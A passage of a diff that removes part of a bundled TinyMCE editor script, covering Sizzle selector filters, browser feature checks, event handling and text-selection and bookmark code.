match[1], filter = Expr.filters[ name ]; - - if ( filter ) { - return filter( elem, i, match, array ); - } else if ( name === "contains" ) { - return (elem.textContent || elem.innerText || Sizzle.getText([ elem ]) || "").indexOf(match[3]) >= 0; - } else if ( name === "not" ) { - var not = match[3]; - - for ( var j = 0, l = not.length; j < l; j++ ) { - if ( not[j] === elem ) { - return false; - } - } - - return true; - } else { - Sizzle.error( "Syntax error, unrecognized expression: " + name ); - } - }, - CHILD: function(elem, match){ - var type = match[1], node = elem; - switch (type) { - case 'only': - case 'first': - while ( (node = node.previousSibling) ) { - if ( node.nodeType === 1 ) { - return false; - } - } - if ( type === "first" ) { - return true; - } - node = elem; - case 'last': - while ( (node = node.nextSibling) ) { - if ( node.nodeType === 1 ) { - return false; - } - } - return true; - case 'nth': - var first = match[2], last = match[3]; - - if ( first === 1 && last === 0 ) { - return true; - } - - var doneName = match[0], - parent = elem.parentNode; - - if ( parent && (parent.sizcache !== doneName || !elem.nodeIndex) ) { - var count = 0; - for ( node = parent.firstChild; node; node = node.nextSibling ) { - if ( node.nodeType === 1 ) { - node.nodeIndex = ++count; - } - } - parent.sizcache = doneName; - } - - var diff = elem.nodeIndex - last; - if ( first === 0 ) { - return diff === 0; - } else { - return ( diff % first === 0 && diff / first >= 0 ); - } - } - }, - ID: function(elem, match){ - return elem.nodeType === 1 && elem.getAttribute("id") === match; - }, - TAG: function(elem, match){ - return (match === "*" && elem.nodeType === 1) || elem.nodeName.toLowerCase() === match; - }, - CLASS: function(elem, match){ - return (" " + (elem.className || elem.getAttribute("class")) + " ") - .indexOf( match ) > -1; - }, - ATTR: function(elem, match){ - var name = match[1], - result = Expr.attrHandle[ name ] ? - Expr.attrHandle[ name ]( elem ) : - elem[ name ] != null ? - elem[ name ] : - elem.getAttribute( name ), - value = result + "", - type = match[2], - check = match[4]; - - return result == null ? - type === "!=" : - type === "=" ? - value === check : - type === "*=" ? - value.indexOf(check) >= 0 : - type === "~=" ? - (" " + value + " ").indexOf(check) >= 0 : - !check ? - value && result !== false : - type === "!=" ? - value !== check : - type === "^=" ? - value.indexOf(check) === 0 : - type === "$=" ? - value.substr(value.length - check.length) === check : - type === "|=" ? - value === check || value.substr(0, check.length + 1) === check + "-" : - false; - }, - POS: function(elem, match, i, array){ - var name = match[2], filter = Expr.setFilters[ name ]; - - if ( filter ) { - return filter( elem, i, match, array ); - } - } - } -}; - -var origPOS = Expr.match.POS, - fescape = function(all, num){ - return "\\" + (num - 0 + 1); - }; - -for ( var type in Expr.match ) { - Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) ); - Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) ); -} - -var makeArray = function(array, results) { - array = Array.prototype.slice.call( array, 0 ); - - if ( results ) { - results.push.apply( results, array ); - return results; - } - - return array; -}; - -// Perform a simple check to determine if the browser is capable of -// converting a NodeList to an array using builtin methods. -// Also verifies that the returned array holds DOM nodes -// (which is not the case in the Blackberry browser) -try { - Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType; - -// Provide a fallback method if it does not work -} catch(e){ - makeArray = function(array, results) { - var ret = results || [], i = 0; - - if ( toString.call(array) === "[object Array]" ) { - Array.prototype.push.apply( ret, array ); - } else { - if ( typeof array.length === "number" ) { - for ( var l = array.length; i < l; i++ ) { - ret.push( array[i] ); - } - } else { - for ( ; array[i]; i++ ) { - ret.push( array[i] ); - } - } - } - - return ret; - }; -} - -var sortOrder; - -if ( document.documentElement.compareDocumentPosition ) { - sortOrder = function( a, b ) { - if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) { - if ( a == b ) { - hasDuplicate = true; - } - return a.compareDocumentPosition ? -1 : 1; - } - - var ret = a.compareDocumentPosition(b) & 4 ? -1 : a === b ? 0 : 1; - if ( ret === 0 ) { - hasDuplicate = true; - } - return ret; - }; -} else if ( "sourceIndex" in document.documentElement ) { - sortOrder = function( a, b ) { - if ( !a.sourceIndex || !b.sourceIndex ) { - if ( a == b ) { - hasDuplicate = true; - } - return a.sourceIndex ? -1 : 1; - } - - var ret = a.sourceIndex - b.sourceIndex; - if ( ret === 0 ) { - hasDuplicate = true; - } - return ret; - }; -} else if ( document.createRange ) { - sortOrder = function( a, b ) { - if ( !a.ownerDocument || !b.ownerDocument ) { - if ( a == b ) { - hasDuplicate = true; - } - return a.ownerDocument ? -1 : 1; - } - - var aRange = a.ownerDocument.createRange(), bRange = b.ownerDocument.createRange(); - aRange.setStart(a, 0); - aRange.setEnd(a, 0); - bRange.setStart(b, 0); - bRange.setEnd(b, 0); - var ret = aRange.compareBoundaryPoints(Range.START_TO_END, bRange); - if ( ret === 0 ) { - hasDuplicate = true; - } - return ret; - }; -} - -// Utility function for retreiving the text value of an array of DOM nodes -Sizzle.getText = function( elems ) { - var ret = "", elem; - - for ( var i = 0; elems[i]; i++ ) { - elem = elems[i]; - - // Get the text from text nodes and CDATA nodes - if ( elem.nodeType === 3 || elem.nodeType === 4 ) { - ret += elem.nodeValue; - - // Traverse everything else, except comment nodes - } else if ( elem.nodeType !== 8 ) { - ret += Sizzle.getText( elem.childNodes ); - } - } - - return ret; -}; - -// Check to see if the browser returns elements by name when -// querying by getElementById (and provide a workaround) -(function(){ - // We're going to inject a fake input element with a specified name - var form = document.createElement("div"), - id = "script" + (new Date()).getTime(); - form.innerHTML = "<a name='" + id + "'/>"; - - // Inject it into the root element, check its status, and remove it quickly - var root = document.documentElement; - root.insertBefore( form, root.firstChild ); - - // The workaround has to do additional checks after a getElementById - // Which slows things down for other browsers (hence the branching) - if ( document.getElementById( id ) ) { - Expr.find.ID = function(match, context, isXML){ - if ( typeof context.getElementById !== "undefined" && !isXML ) { - var m = context.getElementById(match[1]); - return m ? m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ? [m] : undefined : []; - } - }; - - Expr.filter.ID = function(elem, match){ - var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id"); - return elem.nodeType === 1 && node && node.nodeValue === match; - }; - } - - root.removeChild( form ); - root = form = null; // release memory in IE -})(); - -(function(){ - // Check to see if the browser returns only elements - // when doing getElementsByTagName("*") - - // Create a fake element - var div = document.createElement("div"); - div.appendChild( document.createComment("") ); - - // Make sure no comments are found - if ( div.getElementsByTagName("*").length > 0 ) { - Expr.find.TAG = function(match, context){ - var results = context.getElementsByTagName(match[1]); - - // Filter out possible comments - if ( match[1] === "*" ) { - var tmp = []; - - for ( var i = 0; results[i]; i++ ) { - if ( results[i].nodeType === 1 ) { - tmp.push( results[i] ); - } - } - - results = tmp; - } - - return results; - }; - } - - // Check to see if an attribute returns normalized href attributes - div.innerHTML = "<a href='#'></a>"; - if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" && - div.firstChild.getAttribute("href") !== "#" ) { - Expr.attrHandle.href = function(elem){ - return elem.getAttribute("href", 2); - }; - } - - div = null; // release memory in IE -})(); - -if ( document.querySelectorAll ) { - (function(){ - var oldSizzle = Sizzle, div = document.createElement("div"); - div.innerHTML = "<p class='TEST'></p>"; - - // Safari can't handle uppercase or unicode characters when - // in quirks mode. - if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) { - return; - } - - Sizzle = function(query, context, extra, seed){ - context = context || document; - - // Only use querySelectorAll on non-XML documents - // (ID selectors don't work in non-HTML documents) - if ( !seed && context.nodeType === 9 && !Sizzle.isXML(context) ) { - try { - return makeArray( context.querySelectorAll(query), extra ); - } catch(e){} - } - - return oldSizzle(query, context, extra, seed); - }; - - for ( var prop in oldSizzle ) { - Sizzle[ prop ] = oldSizzle[ prop ]; - } - - div = null; // release memory in IE - })(); -} - -(function(){ - var div = document.createElement("div"); - - div.innerHTML = "<div class='test e'></div><div class='test'></div>"; - - // Opera can't find a second classname (in 9.6) - // Also, make sure that getElementsByClassName actually exists - if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) { - return; - } - - // Safari caches class attributes, doesn't catch changes (in 3.2) - div.lastChild.className = "e"; - - if ( div.getElementsByClassName("e").length === 1 ) { - return; - } - - Expr.order.splice(1, 0, "CLASS"); - Expr.find.CLASS = function(match, context, isXML) { - if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) { - return context.getElementsByClassName(match[1]); - } - }; - - div = null; // release memory in IE -})(); - -function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { - for ( var i = 0, l = checkSet.length; i < l; i++ ) { - var elem = checkSet[i]; - if ( elem ) { - elem = elem[dir]; - var match = false; - - while ( elem ) { - if ( elem.sizcache === doneName ) { - match = checkSet[elem.sizset]; - break; - } - - if ( elem.nodeType === 1 && !isXML ){ - elem.sizcache = doneName; - elem.sizset = i; - } - - if ( elem.nodeName.toLowerCase() === cur ) { - match = elem; - break; - } - - elem = elem[dir]; - } - - checkSet[i] = match; - } - } -} - -function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) { - for ( var i = 0, l = checkSet.length; i < l; i++ ) { - var elem = checkSet[i]; - if ( elem ) { - elem = elem[dir]; - var match = false; - - while ( elem ) { - if ( elem.sizcache === doneName ) { - match = checkSet[elem.sizset]; - break; - } - - if ( elem.nodeType === 1 ) { - if ( !isXML ) { - elem.sizcache = doneName; - elem.sizset = i; - } - if ( typeof cur !== "string" ) { - if ( elem === cur ) { - match = true; - break; - } - - } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) { - match = elem; - break; - } - } - - elem = elem[dir]; - } - - checkSet[i] = match; - } - } -} - -Sizzle.contains = document.compareDocumentPosition ? function(a, b){ - return !!(a.compareDocumentPosition(b) & 16); -} : function(a, b){ - return a !== b && (a.contains ? a.contains(b) : true); -}; - -Sizzle.isXML = function(elem){ - // documentElement is verified for cases where it doesn't yet exist - // (such as loading iframes in IE - #4833) - var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement; - return documentElement ? documentElement.nodeName !== "HTML" : false; -}; - -var posProcess = function(selector, context){ - var tmpSet = [], later = "", match, - root = context.nodeType ? [context] : context; - - // Position selectors must be done after the filter - // And so must :not(positional) so we move all PSEUDOs to the end - while ( (match = Expr.match.PSEUDO.exec( selector )) ) { - later += match[0]; - selector = selector.replace( Expr.match.PSEUDO, "" ); - } - - selector = Expr.relative[selector] ? selector + "*" : selector; - - for ( var i = 0, l = root.length; i < l; i++ ) { - Sizzle( selector, root[i], tmpSet ); - } - - return Sizzle.filter( later, tmpSet ); -}; - -// EXPOSE - -window.tinymce.dom.Sizzle = Sizzle; - -})(); - - -(function(tinymce) { - // Shorten names - var each = tinymce.each, DOM = tinymce.DOM, isIE = tinymce.isIE, isWebKit = tinymce.isWebKit, Event; - - tinymce.create('tinymce.dom.EventUtils', { - EventUtils : function() { - this.inits = []; - this.events = []; - }, - - add : function(o, n, f, s) { - var cb, t = this, el = t.events, r; - - if (n instanceof Array) { - r = []; - - each(n, function(n) { - r.push(t.add(o, n, f, s)); - }); - - return r; - } - - // Handle array - if (o && o.hasOwnProperty && o instanceof Array) { - r = []; - - each(o, function(o) { - o = DOM.get(o); - r.push(t.add(o, n, f, s)); - }); - - return r; - } - - o = DOM.get(o); - - if (!o) - return; - - // Setup event callback - cb = function(e) { - // Is all events disabled - if (t.disabled) - return; - - e = e || window.event; - - // Patch in target, preventDefault and stopPropagation in IE it's W3C valid - if (e && isIE) { - if (!e.target) - e.target = e.srcElement; - - // Patch in preventDefault, stopPropagation methods for W3C compatibility - tinymce.extend(e, t._stoppers); - } - - if (!s) - return f(e); - - return f.call(s, e); - }; - - if (n == 'unload') { - tinymce.unloads.unshift({func : cb}); - return cb; - } - - if (n == 'init') { - if (t.domLoaded) - cb(); - else - t.inits.push(cb); - - return cb; - } - - // Store away listener reference - el.push({ - obj : o, - name : n, - func : f, - cfunc : cb, - scope : s - }); - - t._add(o, n, cb); - - return f; - }, - - remove : function(o, n, f) { - var t = this, a = t.events, s = false, r; - - // Handle array - if (o && o.hasOwnProperty && o instanceof Array) { - r = []; - - each(o, function(o) { - o = DOM.get(o); - r.push(t.remove(o, n, f)); - }); - - return r; - } - - o = DOM.get(o); - - each(a, function(e, i) { - if (e.obj == o && e.name == n && (!f || (e.func == f || e.cfunc == f))) { - a.splice(i, 1); - t._remove(o, n, e.cfunc); - s = true; - return false; - } - }); - - return s; - }, - - clear : function(o) { - var t = this, a = t.events, i, e; - - if (o) { - o = DOM.get(o); - - for (i = a.length - 1; i >= 0; i--) { - e = a[i]; - - if (e.obj === o) { - t._remove(e.obj, e.name, e.cfunc); - e.obj = e.cfunc = null; - a.splice(i, 1); - } - } - } - }, - - cancel : function(e) { - if (!e) - return false; - - this.stop(e); - - return this.prevent(e); - }, - - stop : function(e) { - if (e.stopPropagation) - e.stopPropagation(); - else - e.cancelBubble = true; - - return false; - }, - - prevent : function(e) { - if (e.preventDefault) - e.preventDefault(); - else - e.returnValue = false; - - return false; - }, - - destroy : function() { - var t = this; - - each(t.events, function(e, i) { - t._remove(e.obj, e.name, e.cfunc); - e.obj = e.cfunc = null; - }); - - t.events = []; - t = null; - }, - - _add : function(o, n, f) { - if (o.attachEvent) - o.attachEvent('on' + n, f); - else if (o.addEventListener) - o.addEventListener(n, f, false); - else - o['on' + n] = f; - }, - - _remove : function(o, n, f) { - if (o) { - try { - if (o.detachEvent) - o.detachEvent('on' + n, f); - else if (o.removeEventListener) - o.removeEventListener(n, f, false); - else - o['on' + n] = null; - } catch (ex) { - // Might fail with permission denined on IE so we just ignore that - } - } - }, - - _pageInit : function(win) { - var t = this; - - // Keep it from running more than once - if (t.domLoaded) - return; - - t.domLoaded = true; - - each(t.inits, function(c) { - c(); - }); - - t.inits = []; - }, - - _wait : function(win) { - var t = this, doc = win.document; - - // No need since the document is already loaded - if (win.tinyMCE_GZ && tinyMCE_GZ.loaded) { - t.domLoaded = 1; - return; - } - - // Use IE method - if (doc.attachEvent) { - doc.attachEvent("onreadystatechange", function() { - if (doc.readyState === "complete") { - doc.detachEvent("onreadystatechange", arguments.callee); - t._pageInit(win); - } - }); - - if (doc.documentElement.doScroll && win == win.top) { - (function() { - if (t.domLoaded) - return; - - try { - // If IE is used, use the trick by Diego Perini - // http://javascript.nwbox.com/IEContentLoaded/ - doc.documentElement.doScroll("left"); - } catch (ex) { - setTimeout(arguments.callee, 0); - return; - } - - t._pageInit(win); - })(); - } - } else if (doc.addEventListener) { - t._add(win, 'DOMContentLoaded', function() { - t._pageInit(win); - }); - } - - t._add(win, 'load', function() { - t._pageInit(win); - }); - }, - - _stoppers : { - preventDefault : function() { - this.returnValue = false; - }, - - stopPropagation : function() { - this.cancelBubble = true; - } - } - }); - - Event = tinymce.dom.Event = new tinymce.dom.EventUtils(); - - // Dispatch DOM content loaded event for IE and Safari - Event._wait(window); - - tinymce.addUnload(function() { - Event.destroy(); - }); -})(tinymce); - -(function(tinymce) { - tinymce.dom.Element = function(id, settings) { - var t = this, dom, el; - - t.settings = settings = settings || {}; - t.id = id; - t.dom = dom = settings.dom || tinymce.DOM; - - // Only IE leaks DOM references, this is a lot faster - if (!tinymce.isIE) - el = dom.get(t.id); - - tinymce.each( - ('getPos,getRect,getParent,add,setStyle,getStyle,setStyles,' + - 'setAttrib,setAttribs,getAttrib,addClass,removeClass,' + - 'hasClass,getOuterHTML,setOuterHTML,remove,show,hide,' + - 'isHidden,setHTML,get').split(/,/) - , function(k) { - t[k] = function() { - var a = [id], i; - - for (i = 0; i < arguments.length; i++) - a.push(arguments[i]); - - a = dom[k].apply(dom, a); - t.update(k); - - return a; - }; - }); - - tinymce.extend(t, { - on : function(n, f, s) { - return tinymce.dom.Event.add(t.id, n, f, s); - }, - - getXY : function() { - return { - x : parseInt(t.getStyle('left')), - y : parseInt(t.getStyle('top')) - }; - }, - - getSize : function() { - var n = dom.get(t.id); - - return { - w : parseInt(t.getStyle('width') || n.clientWidth), - h : parseInt(t.getStyle('height') || n.clientHeight) - }; - }, - - moveTo : function(x, y) { - t.setStyles({left : x, top : y}); - }, - - moveBy : function(x, y) { - var p = t.getXY(); - - t.moveTo(p.x + x, p.y + y); - }, - - resizeTo : function(w, h) { - t.setStyles({width : w, height : h}); - }, - - resizeBy : function(w, h) { - var s = t.getSize(); - - t.resizeTo(s.w + w, s.h + h); - }, - - update : function(k) { - var b; - - if (tinymce.isIE6 && settings.blocker) { - k = k || ''; - - // Ignore getters - if (k.indexOf('get') === 0 || k.indexOf('has') === 0 || k.indexOf('is') === 0) - return; - - // Remove blocker on remove - if (k == 'remove') { - dom.remove(t.blocker); - return; - } - - if (!t.blocker) { - t.blocker = dom.uniqueId(); - b = dom.add(settings.container || dom.getRoot(), 'iframe', {id : t.blocker, style : 'position:absolute;', frameBorder : 0, src : 'javascript:""'}); - dom.setStyle(b, 'opacity', 0); - } else - b = dom.get(t.blocker); - - dom.setStyles(b, { - left : t.getStyle('left', 1), - top : t.getStyle('top', 1), - width : t.getStyle('width', 1), - height : t.getStyle('height', 1), - display : t.getStyle('display', 1), - zIndex : parseInt(t.getStyle('zIndex', 1) || 0) - 1 - }); - } - } - }); - }; -})(tinymce); - -(function(tinymce) { - function trimNl(s) { - return s.replace(/[\n\r]+/g, ''); - }; - - // Shorten names - var is = tinymce.is, isIE = tinymce.isIE, each = tinymce.each; - - tinymce.create('tinymce.dom.Selection', { - Selection : function(dom, win, serializer) { - var t = this; - - t.dom = dom; - t.win = win; - t.serializer = serializer; - - // Add events - each([ - 'onBeforeSetContent', - 'onBeforeGetContent', - 'onSetContent', - 'onGetContent' - ], function(e) { - t[e] = new tinymce.util.Dispatcher(t); - }); - - // No W3C Range support - if (!t.win.getSelection) - t.tridentSel = new tinymce.dom.TridentSelection(t); - - // Prevent leaks - tinymce.addUnload(t.destroy, t); - }, - - getContent : function(s) { - var t = this, r = t.getRng(), e = t.dom.create("body"), se = t.getSel(), wb, wa, n; - - s = s || {}; - wb = wa = ''; - s.get = true; - s.format = s.format || 'html'; - t.onBeforeGetContent.dispatch(t, s); - - if (s.format == 'text') - return t.isCollapsed() ? '' : (r.text || (se.toString ? se.toString() : '')); - - if (r.cloneContents) { - n = r.cloneContents(); - - if (n) - e.appendChild(n); - } else if (is(r.item) || is(r.htmlText)) - e.innerHTML = r.item ? r.item(0).outerHTML : r.htmlText; - else - e.innerHTML = r.toString(); - - // Keep whitespace before and after - if (/^\s/.test(e.innerHTML)) - wb = ' '; - - if (/\s+$/.test(e.innerHTML)) - wa = ' '; - - s.getInner = true; - - s.content = t.isCollapsed() ? '' : wb + t.serializer.serialize(e, s) + wa; - t.onGetContent.dispatch(t, s); - - return s.content; - }, - - setContent : function(h, s) { - var t = this, r = t.getRng(), c, d = t.win.document; - - s = s || {format : 'html'}; - s.set = true; - h = s.content = t.dom.processHTML(h); - - // Dispatch before set content event - t.onBeforeSetContent.dispatch(t, s); - h = s.content; - - if (r.insertNode) { - // Make caret marker since insertNode places the caret in the beginning of text after insert - h += '<span id="__caret">_</span>'; - - // Delete and insert new node - - if (r.startContainer == d && r.endContainer == d) { - // WebKit will fail if the body is empty since the range is then invalid and it can't insert contents - d.body.innerHTML = h; - } else { - r.deleteContents(); - if (d.body.childNodes.length == 0) { - d.body.innerHTML = h; - } else { - r.insertNode(r.createContextualFragment(h)); - } - } - - // Move to caret marker - c = t.dom.get('__caret'); - // Make sure we wrap it compleatly, Opera fails with a simple select call - r = d.createRange(); - r.setStartBefore(c); - r.setEndBefore(c); - t.setRng(r); - - // Remove the caret position - t.dom.remove('__caret'); - } else { - if (r.item) { - // Delete content and get caret text selection - d.execCommand('Delete', false, null); - r = t.getRng(); - } - - r.pasteHTML(h); - } - - // Dispatch set content event - t.onSetContent.dispatch(t, s); - }, - - getStart : function() { - var rng = this.getRng(), startElement, parentElement, checkRng, node; - - if (rng.duplicate || rng.item) { - // Control selection, return first item - if (rng.item) - return rng.item(0); - - // Get start element - checkRng = rng.duplicate(); - checkRng.collapse(1); - startElement = checkRng.parentElement(); - - // Check if range parent is inside the start element, then return the inner parent element - // This will fix issues when a single element is selected, IE would otherwise return the wrong start element - parentElement = node = rng.parentElement(); - while (node = node.parentNode) { - if (node == startElement) { - startElement = parentElement; - break; - } - } - - // If start element is body element try to move to the first child if it exists - if (startElement && startElement.nodeName == 'BODY') - return startElement.firstChild || startElement; - - return startElement; - } else { - startElement = rng.startContainer; - - if (startElement.nodeType == 1 && startElement.hasChildNodes()) - startElement = startElement.childNodes[Math.min(startElement.childNodes.length - 1, rng.startOffset)]; - - if (startElement && startElement.nodeType == 3) - return startElement.parentNode; - - return startElement; - } - }, - - getEnd : function() { - var t = this, r = t.getRng(), e, eo; - - if (r.duplicate || r.item) { - if (r.item) - return r.item(0); - - r = r.duplicate(); - r.collapse(0); - e = r.parentElement(); - - if (e && e.nodeName == 'BODY') - return e.lastChild || e; - - return e; - } else { - e = r.endContainer; - eo = r.endOffset; - - if (e.nodeType == 1 && e.hasChildNodes()) - e = e.childNodes[eo > 0 ? eo - 1 : eo]; - - if (e && e.nodeType == 3) - return e.parentNode; - - return e; - } - }, - - getBookmark : function(type, normalized) { - var t = this, dom = t.dom, rng, rng2, id, collapsed, name, element, index, chr = '\uFEFF', styles; - - function findIndex(name, element) { - var index = 0; - - each(dom.select(name), function(node, i) { - if (node == element) - index = i; - }); - - return index; - }; - - if (type == 2) { - function getLocation() { - var rng = t.getRng(true), root = dom.getRoot(), bookmark = {}; - - function getPoint(rng, start) { - var container = rng[start ? 'startContainer' : 'endContainer'], - offset = rng[start ? 'startOffset' : 'endOffset'], point = [], node, childNodes, after = 0; - - if (container.nodeType == 3) { - if (normalized) { - for (node = container.previousSibling; node && node.nodeType == 3; node = node.previousSibling) - offset += node.nodeValue.length; - } - - point.push(offset); - } else { - childNodes = container.childNodes; - - if (offset >= childNodes.length && childNodes.length) { - after = 1; - offset = Math.max(0, childNodes.length - 1); - } - - point.push(t.dom.nodeIndex(childNodes[offset], normalized) + after); - } - - for (; container && container != root; container = container.parentNode) - point.push(t.dom.nodeIndex(container, normalized)); - - return point; - }; - - bookmark.start = getPoint(rng, true); - - if (!t.isCollapsed()) - bookmark.end = getPoint(rng); - - return bookmark; - }; - - return getLocation(); - } - - // Handle simple range - if (type) - return {rng : t.getRng()}; - - rng = t.getRng(); - id = dom.uniqueId(); - collapsed = tinyMCE.activeEditor.selection.isCollapsed(); - styles = 'overflow:hidden;line-height:0px'; - - // Explorer method - if (rng.duplicate || rng.item) { - // Text selection - if (!rng.item) { - rng2 = rng.duplicate(); - - // Insert start marker - rng.collapse(); - rng.pasteHTML('<span _mce_type="bookmark" id="' + id + '_start" style="' + styles + '">' + chr + '</span>'); - - // Insert end marker - if (!collapsed) { - rng2.collapse(false); - rng2.pasteHTML('<span _mce_type="bookmark" id="' + id + '_end" style="' + styles + '">' + chr + '</span>'); - } - } else { - // Control selection - element = rng.item(0); - name = element.nodeName; - - return {name : name, index : findIndex(name, element)}; - } - } else { - element = t.getNode(); - name = element.nodeName; - if (name == 'IMG') - return {name : name, index : findIndex(name, element)}; - - // W3C method - rng2 = rng.cloneRange(); - - // Insert end marker - if (!collapsed) { - rng2.collapse(false); - rng2.insertNode(dom.create('span', {_mce_type : "bookmark", id : id + '_end', style : styles}, chr)); - } - - rng.collapse(true); - rng.insertNode(dom.create('span', {_mce_type : "bookmark", id : id + '_start', style : styles}, chr)); - } - - t.moveToBookmark({id : id, keep : 1}); - - return {id : id}; - }, - - moveToBookmark : function(bookmark) { - var t = this, dom = t.dom, marker1, marker2, rng, root, startContainer, endContainer, startOffset, endOffset; - - // Clear selection cache - if (t.tridentSel) - t.tridentSel.destroy(); - - if (bookmark) { - if (bookmark.start) { - rng = dom.createRng(); - root = dom.getRoot(); - - function setEndPoint(start) { - var point = bookmark[start ? 'start' : 'end'], i, node, offset, children; - - if (point) { - // Find container node - for (node = root, i = point.length - 1; i >= 1; i--) { - children = node.childNodes; - - if (children.length) - node = children[point[i]]; - } - - // Set offset within container node - if (start) - rng.setStart(node, point[0]); - else - rng.setEnd(node, point[0]); - } - }; - - setEndPoint(true); - setEndPoint(); - - t.setRng(rng); - } else if (bookmark.id) { - function restoreEndPoint(suffix) { - var marker = dom.get(bookmark.id + '_' + suffix), node, idx, next, prev, keep = bookmark.keep; - - if (marker) { - node = marker.parentNode; - - if (suffix == 'start') { - if (!keep) { - idx = dom.nodeIndex(marker); - } else { - node = marker.firstChild; - idx = 1; - } - - startContainer = endContainer = node; - startOffset = endOffset = idx; - } else { - if (!keep) { - idx = dom.nodeIndex(marker); - } else { - node = marker.firstChild; - idx = 1; - } - - endContainer = node; - endOffset = idx; - } - - if (!keep) { - prev = marker.previousSibling; - next = marker.nextSibling; - - // Remove all marker text nodes - each(tinymce.grep(marker.childNodes), function(node) { - if (node.nodeType == 3) - node.nodeValue = node.nodeValue.replace(/\uFEFF/g, ''); - }); - - // Remove marker but keep children if for example contents where inserted into the marker - // Also remove duplicated instances of the marker for example by a split operation or by WebKit auto split on paste feature - while (marker = dom.get(bookmark.id + '_' + suffix)) - dom.remove(marker, 1); - - // If siblings are text nodes then merge them - if (prev && next && prev.nodeType == next.nodeType && prev.nodeType == 3) { - idx = prev.nodeValue.length; - prev.appendData(next.nodeValue); - dom.remove(next); - - if (suffix == 'start') { - startContainer = endContainer = prev; - startOffset = endOffset = idx; - } else { - endContainer = prev; - endOffset = idx; - } - } - } - } - }; - - function addBogus(node) { - // Adds a bogus BR element for empty block elements - // on non IE browsers just to have a place to put the caret - if (!isIE && dom.isBlock(node) && !node.innerHTML) - node.innerHTML = '<br _mce_bogus="1" />'; - - return node; - }; - - // Restore start/end points - restoreEndPoint('start'); - restoreEndPoint('end'); - - rng = dom.createRng(); - rng.setStart(addBogus(startContainer), startOffset); - rng.setEnd(addBogus(endContainer), endOffset); - t.setRng(rng); - } else if (bookmark.name) { - t.select(dom.select(bookmark.name)[bookmark.index]); - } else if (bookmark.rng) - t.setRng(bookmark.rng); - } - }, - - select : function(node, content) { - var t = this, dom = t.dom, rng = dom.createRng(), idx; - - idx = dom.nodeIndex(node); - rng.setStart(node.parentNode, idx); - rng.setEnd(node.parentNode, idx + 1); - - // Find first/last text node or BR element - if (content) { - function setPoint(node, start) { - var walker = new tinymce.dom.TreeWalker(node, node); - - do { - // Text node - if (node.nodeType == 3 && tinymce.trim(node.nodeValue).length != 0) { - if (start) - rng.setStart(node, 0); - else - rng.setEnd(node, node.nodeValue.length); - - return; - } - - // BR element - if (node.nodeName == 'BR') { - if (start) - rng.setStartBefore(node); - else - rng.setEndBefore(node); - - return; - } - } while (node = (start ? walker.next() : walker.prev())); - }; - - setPoint(node, 1); - setPoint(node); - } - - t.setRng(rng); - - return node; - }, - - isCollapsed : function() { - var t = this, r = t.getRng(), s = t.getSel(); - - if (!r || r.item) - return false; - - if (r.compareEndPoints) - return r.compareEndPoints('StartToEnd', r) === 0; - - return !s || r.collapsed; - }, - - collapse : function(b) { - var t = this, r = t.getRng(), n; - - // Control range on IE - if (r.item) { - n = r.item(0); - r = this.win.document.body.createTextRange(); - r.moveToElementText(n); - } - - r.collapse(!!b); - t.setRng(r); - }, - - getSel : function() { - var t = this, w = this.win; - - return w.getSelection ? w.getSelection() : w.document.selection; - }, - - getRng : function(w3c) { - var t = this, s, r; - - // Found tridentSel object then we need to use that one - if (w3c && t.tridentSel) - return t.tridentSel.getRangeAt(0); - - try { - if (s = t.getSel()) - r = s.rangeCount > 0 ? s.getRangeAt(0) : (s.createRange ? s.createRange() : t.win.document.createRange()); - } catch (ex) { - // IE throws unspecified error here if TinyMCE is placed in a frame/iframe - } - - // No range found then create an empty one - // This can occur when the editor is placed in a hidden container element on Gecko - // Or on IE when there was an exception - if (!r) - r = t.win.document.createRange ? t.win.document.createRange() : t.win.document.body.createTextRange(); - - if (t.selectedRange && t.explicitRange) { - if (r.compareBoundaryPoints(r.START_TO_START, t.selectedRange) === 0 && r.compareBoundaryPoints(r.END_TO_END, t.selectedRange) === 0) { - // Safari, Opera and Chrome only ever select text which causes the range to change. - // This lets us use the originally set range if the selection hasn't been changed by the user. - r = t.explicitRange; - } else { - t.selectedRange = null; - t.explicitRange = null; - } - } - return r; - }, - - setRng : function(r) { - var s, t = this; - - if (!t.tridentSel) { - s = t.getSel(); - - if (s) { - t.explicitRange = r; - s.removeAllRanges(); - s.addRange(r); - t.selectedRange = s.getRangeAt(0); - } - } else { - // Is W3C Range - if (r.cloneRange) { - t.tridentSel.addRange(r); - return; - } - - // Is IE specific range - try { - r.select(); - } catch (ex) { - // Needed for some odd IE bug #1843306 - } - } - }, - - setNode : function(n) { - var t = this; - - t.setContent(t.dom.getOuterHTML(n)); - - return n; - }, - - getNode : function() { - var t = this, rng = t.getRng(), sel = t.getSel(), elm; - - if (rng.setStart) { - // Range maybe lost after the editor is made visible again - if (!rng) - return t.dom.getRoot(); - - elm = rng.commonAncestorContainer; - - // Handle selection a image or other control like element such as anchors - if (!rng.collapsed) { - if (rng.startContainer == rng.endContainer) { - if (rng.startOffset - rng.endOffset < 2) { - if (rng.startContainer.hasChildNodes()) - elm = rng.startContainer.childNodes[rng.startOffset]; - } - } - - // If the anchor node is a element instead of a text node then return this element - if (tinymce.isWebKit && sel.anchorNode && sel.anchorNode.nodeType == 1) - return sel.anchorNode.childNodes[sel.anchorOffset]; - } - - if (elm && elm.nodeType == 3) - return elm.parentNode; - - return elm; - } - - return rng.item ? rng.item(0) : rng.parentElement(); - }, - - getSelectedBlocks : function(st, en) { - var t = this, dom = t.dom, sb, eb, n, bl = []; - - sb = dom.getParent(st || t.getStart(), dom.isBlock); - eb = dom.getParent(en || t.getEnd(), dom.isBlock); - - if (sb) - 